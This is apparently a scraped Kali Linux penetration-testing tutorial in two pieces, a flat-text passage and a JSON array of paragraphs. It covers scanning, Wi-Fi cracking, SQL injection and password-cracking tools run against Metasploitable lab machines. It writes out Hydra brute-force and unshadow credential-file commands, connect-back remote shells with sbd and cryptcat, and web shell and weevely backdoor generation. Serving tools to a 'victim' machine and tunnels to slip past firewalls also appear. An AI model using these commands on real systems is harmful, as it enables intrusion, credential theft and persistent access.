http:// URLs. To open it, go to Applications → 09-Sniffing & Spoofing → Spoofing and MITM → sslstrip. To set it up, write to forward all the 80 port communication to 8080. Then, start the sslstrip command for the port needed. In this chapter, we will learn about the important password cracking tools used in Kali Linux. Hydra is a login cracker that supports many protocols to attack ( Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP). To open it, go to Applications → Password Attacks → Online Attacks → hydra. It will open the terminal console, as shown in the following screenshot. In this case, we will brute force FTP service of metasploitable machine, which has IP 192.168.1.101 We have created in Kali a word list with extension ‘lst’ in the path usr\share\wordlist\metasploit. The command will be as follows − hydra -l /usr/share/wordlists/metasploit/user -P /usr/share/wordlists/metasploit/ passwords ftp://192.168.1.101 –V where –V is the username and password while trying As shown in the following screenshot, the username and password are found which are msfadmin:msfadmin Johnny is a GUI for the John the Ripper password cracking tool. Generally, it is used for weak passwords. To open it, go to Applications → Password Attacks → johnny. In this case, we will get the password of Kali machine with the following command and a file will be created on the desktop. Click “Open Passwd File” → OK and all the files will be shown as in the following screenshot. Click “Start Attack”. After the attack is complete, click the left panel at “Passwords” and the password will be unshaded. john is a command line version of Johnny GUI. To start it, open the Terminal and type “john”. In case of unshadowing the password, we need to write the following command − root@kali:~# unshadow passwd shadow > unshadowed.txt The RainbowCrack software cracks hashes by rainbow table lookup. Rainbow tables are ordinary files stored on the hard disk. Generally, Rainbow tables are bought online or can be compiled with different tools. To open it, go to Applications → Password Attacks → click “rainbowcrack”. The command to crack a hash password is − rcrack path_to_rainbow_tables -f path_to_password_hash It is a dictionary attack tool for SQL server and is very easy and basic to be used. To open it, open the terminal and type “sqldict”. It will open the following view. Under “Target IP Server”, enter the IP of the server holding the SQL. Under “Target Account”, enter the username. Then load the file with the password and click “start” until it finishes. It is a tool that is used to identify types of hashes, meaning what they are being used for. For example, if I have a HASH, it can tell me if it is a Linux or windows HASH. The above screen shows that it can be a MD5 hash and it seems a Domain cached credential. In this chapter, we will see the tools that Kali uses to maintain connection and for access to a hacked machine even when it connects and disconnects again. This is a tool that is for Windows machines. It has PowerShell installed in victims machine. This tool helps the hacker to connect with the victim’s machine via PowerShell. To open it, open the terminal on the left and type the following command to enter into the powersploit folder − cd /usr/share/powersploit/ If you type “ls” it will list all the powersploit tools that you can download and install in the victim’s machine after you have gained access. Most of them are name self-explained according to their names. An easy way to download this tool on the victim’s machine is to create a web server, which powersploit tools allow to create easily using the following command − python -m SimpleHTTPServer After this, if you type: http://<Kali machine ip_address>:8000/ following is the result. sbd is a tool similar to Netcat. It is portable and can be used in Linux and Microsoft machines. sbd features AES-CBC-128 + HMAC-SHA1 encryption> Basically, it helps to connect to a victim’s machine any time on a specific port and send commands remotely. To open it, go to the terminal and type “sbd -l -p port” for the server to accept connections. In this case, let us put port 44 where the server will listen. On the victim’s site, type “sbd IPofserver port”. A connection will be established where we can send the remote commands. In this case, it is “localhost” since we have performed the test on the same machine. Finally, on the server you will see that a connection has occurred as shown in the following screenshot. Webshells can be used to maintain access or to hack a website. But most of them are detected by antiviruses. The C99 php shell is very well known among the antivirus. Any common antivirus will easily detect it as a malware. Generally, their main function is to send system command via web interfaces. To open it, and type “cd /usr/share/webshells/” in the terminal. As you see, they are divided in classes according to the programing language : asp , aspx, cfm, jsp, perl,php If you enter in the PHP folder, you can see all the webshells for php webpages. To upload the shell to a web server, for example “simple-backdoor.php” open the webpage and URL of the web shell. At the end, write the cmd command. You will have all the info shown as in the following screenshot. Weevely is a PHP web shell that simulate telnet-like connection. It is a tool for web application post exploitation, and can be used as a stealth backdoor or as a web shell to manage legit web accounts, even free hosted ones. To open it, go to the terminal and type “weevely” where you can see its usage. To generate the shell, type “weevely generate password pathoffile”. As seen in the following screenshot, it is generated on the “Desktop” folder and the file is to upload in a webserver to gain access. After uploading the web shell as shown in the following screenshot, we can connect with cmd to the server using the command “weevely URL password” where you can see that a session has started. http-tunnel creates a bidirectional virtual data stream tunneled in HTTP requests. The requests can be sent via a HTTP proxy if so desired. This can be useful for users behind restrictive firewalls. If WWW access is allowed through a HTTP proxy, it’s possible to use http-tunnel and telnet or PPP to connect to a computer outside the firewall. First, we should create a tunnel server with the following command − httptunnel_server –h Then, on the client site type “httptunnel_client –h” and both will start to accept connections. This is again a tunneling tool that helps to pass the TCP traffic through DNS Traffic, which means UDP 53 port. To start it, type “dns2tcpd”. The usage is explained when you will open the script. On the server site, enter this command to configure the file. #cat >>.dns2tcpdrc <&l;END listen = 0.0.0.0 port = 53 user=nobody chroot = /root/dns2tcp pid_file = /var/run/dns2tcp.pid domain = your domain key = secretkey resources = ssh:127.0.0.1:22 END #dns2tcpd -f .dns2tcpdrc On Client site, enter this command. # cat >>.dns2tcprc <<END domain = your domain resource = ssh local_port = 7891 key = secretkey END # dns2tcpc -f .dns2tcprc # ssh root@localhost -p 7891 -D 7076 Tunneling will start with this command. It is another tool like Netcat which allows to make TCP and UDP connection with a victim’s machine in an encrypted way. To start a server to listen for a connection, type the following command − cryptcat –l –p port –n Where, -l stands for listening to a connection -l stands for listening to a connection -p stands for port number parameter -p stands for port number parameter -n stands for not doing the name resolution -n stands for not doing the name resolution On client site, the connection command is “cryptcat IPofServer PortofServer” In this chapter, we will learn about the reverse engineering tools of Kali Linux. OllyDbg is a 32-bit assembler level analyzing debugger for Microsoft Windows applications. Emphasis on binary code analysis makes it particularly useful in cases where the source is unavailable. Generally, it is used to crack the commercial softwares. To open it, go to Applications → Reverse Engineering → ollydbg To load a EXE file, go the “Opening folder” in yellow color, which is shown in a red square in the above screenshot. After loading, you will have the following view where you can change the binaries. This is an application that helps convert APK file (android) to JAR file in order to view the source code. To use it, open the terminal and write ”d2j-dex2jar –d /file location”. In this case, the file is “classes.dex” on the desktop. The following line shows that a JAR file has been created. JD-GUI is a standalone graphical utility that displays Java source codes of “.class” files. You can browse the reconstructed source code. In this case, we can reconstruct the file that we extracted from the dex2jar tool. To launch it, open the terminal and write “jd-gui” and the following view will open. To import the file, click the open folder icon on the left upper corner and then import the file. Apktool is one of the best tools to reverse the whole android application. It can decode resources to nearly an original form and rebuild them after making modifications. To open it, go to the terminal and write “ apktool”. To decompile a apk file, write “apktool d apk file”. Decompilation will start as shown in the following screenshot. In this chapter, we will learn about some reporting tools in Kali Linux. In all this work that we have performed, it is important to share the results that was produced, to track our work, etc. For this purpose, Kali has a reporting tool called dradis which is a web service. Step 1 − To start Dradis, type “service dradis start”. Step 2 − To open, go to Applications → Reporting Tools → dradis. The web URL will open. Anybody in LAN can open it in the following URL https://IP of kali machine:3004 Log in with the username and password that was used for the first time. Step 3 − After logging in, you can import files from NMAP, NESSUS, NEXPOSE. To do so, go to “Import from file” → click “new importer(with real-time feedback)”. Step 4 − Select the file type that you want to upload. In this case, it is “Nessus scan” → click “Browse”. If you go to the home page now, on the left panel you will see that the imported scans have are in a folder with their host and port details. Metagoofil performs a search in Google to identify and download the documents to the local disk and then extracts the metadata. It extracts metadata of public documents belonging to a specific company, individual, object, etc. To open it, go to: “usr/share/metagoofil/”. To start searching, type the following command − python metagoofil.py You can use the following parameters with this command − –d (domain name) –d (domain name) –t (filetype to download dox,pdf,etc) –t (filetype to download dox,pdf,etc) –l (limit the results 10, 100 ) –l (limit the results 10, 100 ) –n (limit files to download) –n (limit files to download) –o ( location to save the files) –o ( location to save the files) –f (output file) –f (output file) The following example shows only the domain name is hidden.
[ { "code": null, "e": 2357, "s": 2163, "text": "Kali Linux is one of the best security packages of an ethical hacker, containing a set of tools divided by the categories. It is an open source and its official webpage is https://www.kali.org." }, { "code": null, "e": 2725, "s": 2357, "text": "Generally, Kali Linux can be installed in a machine as an Operating System, as a virtual machine which we will discuss in the following section. Installing Kali Linux is a practical option as it provides more options to work and combine the tools. You can also create a live boot CD or USB. All this can be found in the following link: https://www.kali.org/downloads/" }, { "code": null, "e": 2847, "s": 2725, "text": "BackTrack was the old version of Kali Linux distribution. The latest release is Kali 2016.1 and it is updated very often." }, { "code": null, "e": 2871, "s": 2847, "text": "To install Kali Linux −" }, { "code": null, "e": 2927, "s": 2871, "text": "First, we will download the Virtual box and install it." }, { "code": null, "e": 2988, "s": 2927, "text": "Later, we will download and install Kali Linux distribution." }, { "code": null, "e": 3222, "s": 2988, "text": "A Virtual Box is particularly useful when you want to test something on Kali Linux that you are unsure of. Running Kali Linux on a Virtual Box is safe when you want to experiment with unknown packages or when you want to test a code." }, { "code": null, "e": 3408, "s": 3222, "text": "With the help of a Virtual Box, you can install Kali Linux on your system (not directly in your hard disk) alongside your primary OS which can MAC or Windows or another flavor of Linux." }, { "code": null, "e": 3490, "s": 3408, "text": "Let’s understand how you can download and install the Virtual Box on your system." }, { "code": null, "e": 3712, "s": 3490, "text": "Step 1 − To download, go to https://www.virtualbox.org/wiki/Downloads. Depending on your operating system, select the right package. In this case, it will be the first one for Windows as shown in the following screenshot." }, { "code": null, "e": 3733, "s": 3712, "text": "Step 2 − Click Next." }, { "code": null, "e": 3901, "s": 3733, "text": "Step 3 − The next page will give you options to choose the location where you want to install the application. In this case, let us leave it as default and click Next." }, { "code": null, "e": 4033, "s": 3901, "text": "Step 4 − Click Next and the following Custom Setup screenshot pops up. Select the features you want to be installed and click Next." }, { "code": null, "e": 4086, "s": 4033, "text": "Step 5 − Click Yes to proceed with the installation." }, { "code": null, "e": 4147, "s": 4086, "text": "Step 6 − The Ready to Install screen pops up. Click Install." }, { "code": null, "e": 4181, "s": 4147, "text": "Step 7 − Click the Finish button." }, { "code": null, "e": 4380, "s": 4181, "text": "The Virtual Box application will now open as shown in the following screenshot. Now we are ready to install the rest of the hosts for this manual and this is also recommended for professional usage." }, { "code": null, "e": 4492, "s": 4380, "text": "Now that we have successfully installed the Virtual Box, let’s move on to the next step and install Kali Linux." }, { "code": null, "e": 4593, "s": 4492, "text": "Step 1 − Download the Kali Linux package from its official website: https://www.kali.org/downloads/" }, { "code": null, "e": 4663, "s": 4593, "text": "Step 2 − Click VirtualBox → New as shown in the following screenshot." }, { "code": null, "e": 4728, "s": 4663, "text": "Step 3 − Choose the right virtual hard disk file and click Open." }, { "code": null, "e": 4796, "s": 4728, "text": "Step 4 − The following screenshot pops up. Click the Create button." }, { "code": null, "e": 4875, "s": 4796, "text": "Step 5 − Start Kali OS. The default username is root and the password is toor." }, { "code": null, "e": 5016, "s": 4875, "text": "It is important to keep updating Kali Linux and its tools to the new versions, to remain functional. Following are the steps to update Kali." }, { "code": null, "e": 5153, "s": 5016, "text": "Step 1 − Go to Application → Terminal. Then, type “apt-get update” and the update will take place as shown in the following screenshot." }, { "code": null, "e": 5252, "s": 5153, "text": "Step 2 − Now to upgrade the tools, type “apt-get upgrade” and the new packages will be downloaded." }, { "code": null, "e": 5320, "s": 5252, "text": "Step 3 − It will ask if you want to continue. Type “Y” and “Enter”." }, { "code": null, "e": 5408, "s": 5320, "text": "Step 4 − To upgrade to a newer version of Operating System, type “apt-get distupgrade”." }, { "code": null, "e": 5523, "s": 5408, "text": "In this section, we will set up another testing machine to perform the tests with the help of tools of Kali Linux." }, { "code": null, "e": 5720, "s": 5523, "text": "Step 1 − Download Metasploitable, which is a Linux machine. It can be downloaded from the official webpage of Rapid7: https://information.rapid7.com/metasploitabledownload.html?LS=1631875&CS=web" }, { "code": null, "e": 5825, "s": 5720, "text": "Step 2 − Register by supplying your details. After filling the above form, we can download the software." }, { "code": null, "e": 5858, "s": 5825, "text": "Step 3 − Click VirtualBox → New." }, { "code": null, "e": 5988, "s": 5858, "text": "Step 4 − Click “Use an existing virtual hard disk file”. Browse the file where you have downloaded Metasploitable and click Open." }, { "code": null, "e": 6059, "s": 5988, "text": "Step 5 − A screen to create a virtual machine pops up. Click “Create”." }, { "code": null, "e": 6122, "s": 6059, "text": "The default username is msfadmin and the password is msfadmin." }, { "code": null, "e": 6202, "s": 6122, "text": "In this chapter, we will discuss the information gathering tools of Kali Linux." }, { "code": null, "e": 6394, "s": 6202, "text": "NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux. NMAP and ZenMAP are practically the same tool, however NMAP uses command line while ZenMAP has a GUI." }, { "code": null, "e": 6639, "s": 6394, "text": "NMAP is a free utility tool for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime." }, { "code": null, "e": 6919, "s": 6639, "text": "NMAP uses raw IP packets in novel ways to determine which hosts are available on the network, what services (application name and version) those hosts are offering, which operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, etc." }, { "code": null, "e": 6984, "s": 6919, "text": "Now, let’s go step by step and learn how to use NMAP and ZenMAP." }, { "code": null, "e": 7066, "s": 6984, "text": "Step 1 − To open, go to Applications → 01-Information Gathering → nmap or zenmap." }, { "code": null, "e": 7321, "s": 7066, "text": "Step 2 − The next step is to detect the OS type/version of the target host. Based on the help indicated by NMAP, the parameter of OS type/version detection is variable “-O”. For more information, use this link: https://nmap.org/book/man-os-detection.html" }, { "code": null, "e": 7355, "s": 7321, "text": "The command that we will use is −" }, { "code": null, "e": 7378, "s": 7355, "text": "nmap -O 192.168.1.101\n" }, { "code": null, "e": 7475, "s": 7378, "text": "The following screenshot shows where you need to type the above command to see the Nmap output −" }, { "code": null, "e": 7587, "s": 7475, "text": "Step 3 − Next, open the TCP and UDP ports. To scan all the TCP ports based on NMAP, use the following command −" }, { "code": null, "e": 7624, "s": 7587, "text": "nmap -p 1-65535 -T4 192.168.1.101 \n" }, { "code": null, "e": 7807, "s": 7624, "text": "Where the parameter “–p” indicates all the TCP ports that have to be scanned. In this case, we are scanning all the ports and “-T4” is the speed of scanning at which NMAP has to run." }, { "code": null, "e": 7960, "s": 7807, "text": "Following are the results. In green are all the TCP open ports and in red are all the closed ports. However, NMAP does not show as the list is too long." }, { "code": null, "e": 8327, "s": 7960, "text": "Stealth scan or SYN is also known as half-open scan, as it doesn’t complete the TCP three-way handshake. A hacker sends a SYN packet to the target; if a SYN/ACK frame is received back, then it’s assumed the target would complete the connect and the port is listening. If an RST is received back from the target, then it is assumed the port isn’t active or is closed." }, { "code": null, "e": 8427, "s": 8327, "text": "Now to see the SYN scan in practice, use the parameter –sS in NMAP. Following is the full command −" }, { "code": null, "e": 8456, "s": 8427, "text": "nmap -sS -T4 192.168.1.101 \n" }, { "code": null, "e": 8513, "s": 8456, "text": "The following screenshot shows how to use this command −" }, { "code": null, "e": 8636, "s": 8513, "text": "Searchsploit is a tool that helps Kali Linux users to directly search with the command line from Exploit database archive." }, { "code": null, "e": 8745, "s": 8636, "text": "To open it, go to Applications → 08-Exploitation Tools → searchsploit, as shown in the following screenshot." }, { "code": null, "e": 8813, "s": 8745, "text": "After opening the terminal, type \"searchsploit exploit index name\"." }, { "code": null, "e": 8974, "s": 8813, "text": "n this section, we will learn how to use some DNS tools that Kali has incorporated. Basically, these tools help in zone transfers or domain IP resolving issues." }, { "code": null, "e": 9090, "s": 8974, "text": "The first tool is dnsenum.pl which is a PERL script that helps to get MX, A, and other records connect to a domain." }, { "code": null, "e": 9128, "s": 9090, "text": "Click the terminal on the left panel." }, { "code": null, "e": 9224, "s": 9128, "text": "Type “dnsenum domain name” and all the records will be shown. In this case, it shows A records." }, { "code": null, "e": 9393, "s": 9224, "text": "The second tool is DNSMAP which helps to find the phone numbers, contacts, and other subdomain connected to this domain, that we are searching. Following is an example." }, { "code": null, "e": 9470, "s": 9393, "text": "Click the terminal as in the upper section , then write “dnsmap domain name”" }, { "code": null, "e": 9603, "s": 9470, "text": "The third tool is dnstracer, which determines where a given Domain Name Server (DNS) gets its information from for a given hostname." }, { "code": null, "e": 9682, "s": 9603, "text": "Click the terminal as in the upper section, then type “dnstracer domain name”." }, { "code": null, "e": 9961, "s": 9682, "text": "LBD (Load Balancing Detector) tools are very interesting as they detect if a given domain uses DNS and/or HTTP load balancing. It is important because if you have two servers, one or the other may not be updated and you can try to exploit it. Following are the steps to use it −" }, { "code": null, "e": 10006, "s": 9961, "text": "First, click the terminal on the left panel." }, { "code": null, "e": 10157, "s": 10006, "text": "Then, type “lbd domainname”. If it produces a result as “FOUND”, it means that the server has a load balance. In this case, the result is “NOT FOUND”." }, { "code": null, "e": 10420, "s": 10157, "text": "Hping3 is widely used by ethical hackers. It is nearly similar to ping tools but is more advanced, as it can bypass the firewall filter and use TCP, UDP, ICMP and RAW-IP protocols. It has a traceroute mode and the ability to send files between a covered channel." }, { "code": null, "e": 10458, "s": 10420, "text": "Click the terminal on the left panel." }, { "code": null, "e": 10516, "s": 10458, "text": "Type “hping3 –h” which will show how to use this command." }, { "code": null, "e": 10570, "s": 10516, "text": "The other command is “hping3 domain or IP -parameter”" }, { "code": null, "e": 10700, "s": 10570, "text": "In this chapter, we will learn how to use some of the tools that help us exploit devices or applications in order to gain access." }, { "code": null, "e": 10858, "s": 10700, "text": "Kali has some tools that can be used to exploit Cisco router. One such tool is Cisco-torch which is used for mass scanning, fingerprinting, and exploitation." }, { "code": null, "e": 10917, "s": 10858, "text": "Let’s open the Terminal console by clicking the left pane." }, { "code": null, "e": 11047, "s": 10917, "text": "Then, type “cisco-torch –parameter IP of host” and if there is nothing found to exploit, then the following result will be shown." }, { "code": null, "e": 11117, "s": 11047, "text": "To see what are the parameters that can be used, type “cisco-torch ?”" }, { "code": null, "e": 11311, "s": 11117, "text": "It is a PERL script, which scans Cisco routers for common vulnerabilities. To use it, again open the terminal on the left pane as shown in the previous section and type “CAT –h hostname or IP”." }, { "code": null, "e": 11429, "s": 11311, "text": "You can add the port parameter “-p” as shown in the following screenshot, which in this case is 23 to brute-force it." }, { "code": null, "e": 11755, "s": 11429, "text": "Cisco Global Exploiter (CGE) is an advanced, simple, and fast security testing tool. With these tools, you can perform several types of attacks as shown in the following screenshot. However, be careful while testing in a live environment as some of them can crash the Cisco devise. For example, option can stop the services." }, { "code": null, "e": 11821, "s": 11755, "text": "To use this tool, type “cge.pl IPaddress number of vulnerability”" }, { "code": null, "e": 12016, "s": 11821, "text": "The following screenshot shows the result of the test performed on Cisco router for the vulnerability number 3 from the list above. The result shows the vulnerability was successfully exploited." }, { "code": null, "e": 12115, "s": 12016, "text": "BED is a program designed to check daemons for potential buffer overflows, format strings, et. al." }, { "code": null, "e": 12207, "s": 12115, "text": "In this case, we will test the testing machine with IP 192.168.1.102 and the protocol HTTP." }, { "code": null, "e": 12285, "s": 12207, "text": "The command will be “bed –s HTTP –t 192.168.1.102” and testing will continue." }, { "code": null, "e": 12470, "s": 12285, "text": "In this chapter, we will learn how to use Wi-Fi cracking tools that Kali Linux has incorporated. However, it is important that the wireless card that you has a support monitoring mode." }, { "code": null, "e": 12541, "s": 12470, "text": "Fern Wifi cracker is one of the tools that Kali has to crack wireless." }, { "code": null, "e": 12676, "s": 12541, "text": "Before opening Fern, we should turn the wireless card into monitoring mode. To do this, Type “airmon-ng start wlan-0” in the terminal." }, { "code": null, "e": 12709, "s": 12676, "text": "Now, open Fern Wireless Cracker." }, { "code": null, "e": 12785, "s": 12709, "text": "Step 1 − Applications → Click “Wireless Attacks” → “Fern Wireless Cracker”." }, { "code": null, "e": 12857, "s": 12785, "text": "Step 2 − Select the Wireless card as shown in the following screenshot." }, { "code": null, "e": 12898, "s": 12857, "text": "Step 3 − Click “Scan for Access Points”." }, { "code": null, "e": 13024, "s": 12898, "text": "Step 4 − After finishing the scan, it will show all the wireless networks found. In this case, only “WPA networks” was found." }, { "code": null, "e": 13187, "s": 13024, "text": "Step 5 − Click WPA networks as shown in the above screenshot. It shows all the wireless found. Generally, in WPA networks, it performs Dictionary attacks as such." }, { "code": null, "e": 13252, "s": 13187, "text": "Step 6 − Click “Browse” and find the wordlist to use for attack." }, { "code": null, "e": 13282, "s": 13252, "text": "Step 7 − Click “Wifi Attack”." }, { "code": null, "e": 13418, "s": 13282, "text": "Step 8 − After finishing the dictionary attack, it found the password and it will show as depicted in the following screenshot picture." }, { "code": null, "e": 13741, "s": 13418, "text": "Kismet is a WIFI network analyzing tool. It is a 802.11 layer-2 wireless network detector, sniffer, and intrusion detection system. It will work with any wireless card that supports raw monitoring (rfmon) mode, and can sniff 802.11a/b/g/n traffic. It identifies the networks by collecting packets and also hidden networks." }, { "code": null, "e": 13859, "s": 13741, "text": "To use it, turn the wireless card into monitoring mode and to do this, type “airmon-ng start wlan-0” in the terminal." }, { "code": null, "e": 13893, "s": 13859, "text": "Let’s learn how to use this tool." }, { "code": null, "e": 13949, "s": 13893, "text": "Step 1 − To launch it, open terminal and type “kismet”." }, { "code": null, "e": 13970, "s": 13949, "text": "Step 2 − Click “OK”." }, { "code": null, "e": 14065, "s": 13970, "text": "Step 3 − Click “Yes” when it asks to start Kismet Server. Otherwise it will stop functioning." }, { "code": null, "e": 14124, "s": 14065, "text": "Step 4 − Startup Options, leave as default. Click “Start”." }, { "code": null, "e": 14223, "s": 14124, "text": "Step 5 − Now it will show a table asking you to define the wireless card. In such case, click Yes." }, { "code": null, "e": 14342, "s": 14223, "text": "Step 6 − In this case, the wireless source is “wlan0”. It will have to be written in the section “Intf” → click “Add”." }, { "code": null, "e": 14430, "s": 14342, "text": "Step 7 − It will start sniffing the wifi networks as shown in the following screenshot." }, { "code": null, "e": 14532, "s": 14430, "text": "Step 8 − Click on any network, it produces the wireless details as shown in the following screenshot." }, { "code": null, "e": 14826, "s": 14532, "text": "GISKismet is a wireless visualization tool to represent data gathered using Kismet in a practical way. GISKismet stores the information in a database so we can query data and generate graphs using SQL. GISKismet currently uses SQLite for the database and GoogleEarth / KML files for graphing." }, { "code": null, "e": 14860, "s": 14826, "text": "Let’s learn how to use this tool." }, { "code": null, "e": 14948, "s": 14860, "text": "Step 1 − To open GISKismet, go to: Applications → Click “Wireless Attacks” → giskismet." }, { "code": null, "e": 15097, "s": 14948, "text": "As you remember in the previous section, we used Kismet tool to explore data about wireless networks and all this data Kismet packs in netXML files." }, { "code": null, "e": 15237, "s": 15097, "text": "Step 2 − To import this file into Giskismet, type “root@kali:~# giskismet -x Kismetfilename.netxml” and it will start importing the files." }, { "code": null, "e": 15322, "s": 15237, "text": "Once imported, we can import them to Google Earth the Hotspots that we found before." }, { "code": null, "e": 15450, "s": 15322, "text": "Step 3 − Assuming that we have already installed Google Earth, we click File → Open File that Giskismet created → Click “Open”." }, { "code": null, "e": 15487, "s": 15450, "text": "The following map will be displayed." }, { "code": null, "e": 15619, "s": 15487, "text": "Ghost Phisher is a popular tool that helps to create fake wireless access points and then later to create Man-in-The-Middle-Attack." }, { "code": null, "e": 15698, "s": 15619, "text": "Step 1 − To open it, click Applications → Wireless Attacks → “ghost phishing”." }, { "code": null, "e": 15781, "s": 15698, "text": "Step 2 − After opening it, we will set up the fake AP using the following details." }, { "code": null, "e": 15813, "s": 15781, "text": "Wireless Interface Input: wlan0" }, { "code": null, "e": 15836, "s": 15813, "text": "SSID: wireless AP name" }, { "code": null, "e": 15873, "s": 15836, "text": "IP address: IP that the AP will have" }, { "code": null, "e": 15923, "s": 15873, "text": "WAP: Password that will have this SSID to connect" }, { "code": null, "e": 15956, "s": 15923, "text": "Step 3 − Click the Start button." }, { "code": null, "e": 16064, "s": 15956, "text": "It is another wireless clacking tool, which attacks multiple WEP, WPA, and WPS encrypted networks in a row." }, { "code": null, "e": 16125, "s": 16064, "text": "Firstly, the wireless card has to be in the monitoring mode." }, { "code": null, "e": 16193, "s": 16125, "text": "Step 1 − To open it, go to Applications → Wireless Attack → Wifite." }, { "code": null, "e": 16248, "s": 16193, "text": "Step 2 − Type \"wifite –showb\"to scan for the networks." }, { "code": null, "e": 16315, "s": 16248, "text": "Step 3 − To start attacking the wireless networks, click Ctrl + C." }, { "code": null, "e": 16362, "s": 16315, "text": "Step 4 − Type “1” to crack the first wireless." }, { "code": null, "e": 16423, "s": 16362, "text": "Step 5 − After attacking is complete, the key will be found." }, { "code": null, "e": 16511, "s": 16423, "text": "In this chapter, we will learn about website penetration testing offered by Kali Linux." }, { "code": null, "e": 16838, "s": 16511, "text": "Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows." }, { "code": null, "e": 17074, "s": 16838, "text": "Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. Vega can be extended using a powerful API in the language of the web: JavaScript. The official webpage is https://subgraph.com/vega/" }, { "code": null, "e": 17152, "s": 17074, "text": "Step 1 − To open Vega go to Applications → 03-Web Application Analysis → Vega" }, { "code": null, "e": 17234, "s": 17152, "text": "Step 2 − If you don’t see an application in the path, type the following command." }, { "code": null, "e": 17276, "s": 17234, "text": "Step 3 − To start a scan, click “+” sign." }, { "code": null, "e": 17389, "s": 17276, "text": "Step 4 − Enter the webpage URL that will be scanned. In this case, it is metasploitable machine → click “ Next”." }, { "code": null, "e": 17480, "s": 17389, "text": "Step 5 − Check all the boxes of the modules you want to be controlled. Then, click “Next”." }, { "code": null, "e": 17537, "s": 17480, "text": "Step 6 − Click “Next” again in the following screenshot." }, { "code": null, "e": 17562, "s": 17537, "text": "Step 7 − Click “Finish”." }, { "code": null, "e": 17616, "s": 17562, "text": "Step 8 − If the following table pops up, click “Yes”." }, { "code": null, "e": 17677, "s": 17616, "text": "The scan will continue as shown in the following screenshot." }, { "code": null, "e": 17966, "s": 17677, "text": "Step 9 − After the scan is completed, on the left down panel you can see all the findings, that are categorized according to the severity. If you click it, you will see all the details of the vulnerabilities on the right panel such as “Request”, ”Discussion”, ”Impact”, and ”Remediation”." }, { "code": null, "e": 18120, "s": 17966, "text": "ZAP-OWASP Zed Attack Proxy is an easy-to-use integrated penetration testing tool for finding vulnerabilities in web applications. It is a Java interface." }, { "code": null, "e": 18208, "s": 18120, "text": "Step 1 − To open ZapProxy, go to Applications → 03-Web Application Analysis → owaspzap." }, { "code": null, "e": 18233, "s": 18208, "text": "Step 2 − Click “Accept”." }, { "code": null, "e": 18257, "s": 18233, "text": "ZAP will start to load." }, { "code": null, "e": 18353, "s": 18257, "text": "Step 3 − Choose one of the Options from as shown in the following screenshot and click “Start”." }, { "code": null, "e": 18408, "s": 18353, "text": "Following web is metasploitable with IP :192.168.1.101" }, { "code": null, "e": 18483, "s": 18408, "text": "Step 4 − Enter URL of the testing web at “URL to attack” → click “Attack”." }, { "code": null, "e": 18570, "s": 18483, "text": "After the scan is completed, on the top left panel you will see all the crawled sites." }, { "code": null, "e": 18656, "s": 18570, "text": "In the left panel “Alerts”, you will see all the findings along with the description." }, { "code": null, "e": 18720, "s": 18656, "text": "Step 5 − Click “Spider” and you will see all the links scanned." }, { "code": null, "e": 19203, "s": 18720, "text": "sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections." }, { "code": null, "e": 19234, "s": 19203, "text": "Let’s learn how to use sqlmap." }, { "code": null, "e": 19313, "s": 19234, "text": "Step 1 − To open sqlmap, go to Applications → 04-Database Assessment → sqlmap." }, { "code": null, "e": 19390, "s": 19313, "text": "The webpage having vulnerable parameters to SQL Injection is metasploitable." }, { "code": null, "e": 19467, "s": 19390, "text": "Step 2 − To start the sql injection testing, type “sqlmap – u URL of victim”" }, { "code": null, "e": 19542, "s": 19467, "text": "Step 3 − From the results, you will see that some variable are vulnerable." }, { "code": null, "e": 19840, "s": 19542, "text": "sqlninja is a SQL Injection on Microsoft SQL Server to a full GUI access. sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Full information regarding this tool can be found on http://sqlninja.sourceforge.net/" }, { "code": null, "e": 19921, "s": 19840, "text": "Step 1 − To open sqlninja go to Applications → 04-Database Assesment → sqlninja." }, { "code": null, "e": 20056, "s": 19921, "text": "WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues." }, { "code": null, "e": 20141, "s": 20056, "text": "Step 1 − To open WPscan go to Applications → 03-Web Application Analysis → “wpscan”." }, { "code": null, "e": 20175, "s": 20141, "text": "The following screenshot pops up." }, { "code": null, "e": 20256, "s": 20175, "text": "Step 2 − To scan a website for vulnerabilities, type “wpscan –u URL of webpage”." }, { "code": null, "e": 20341, "s": 20256, "text": "If the scanner is not updated, it will ask you to update. I will recommend to do it." }, { "code": null, "e": 20465, "s": 20341, "text": "Once the scan starts, you will see the findings. In the following screenshot, vulnerabilities are indicated by a red arrow." }, { "code": null, "e": 20703, "s": 20465, "text": "Joomla is probably the most widely-used CMS out there due to its flexibility. For this CMS, it is a Joomla scanner. It will help web developers and web masters to help identify possible security weaknesses on their deployed Joomla sites." }, { "code": null, "e": 20797, "s": 20703, "text": "Step 1 − To open it, just click the left panel at the terminal, then “joomscan – parameter”." }, { "code": null, "e": 20851, "s": 20797, "text": "Step 2 − To get help for the usage type “joomscan /?”" }, { "code": null, "e": 20918, "s": 20851, "text": "Step 3 − To start the scan, type “ joomscan –u URL of the victim”." }, { "code": null, "e": 20982, "s": 20918, "text": "Results will be displayed as shown in the following screenshot." }, { "code": null, "e": 21237, "s": 20982, "text": "TLSSLed is a Linux shell script used to evaluate the security of a target SSL/TLS (HTTPS) web server 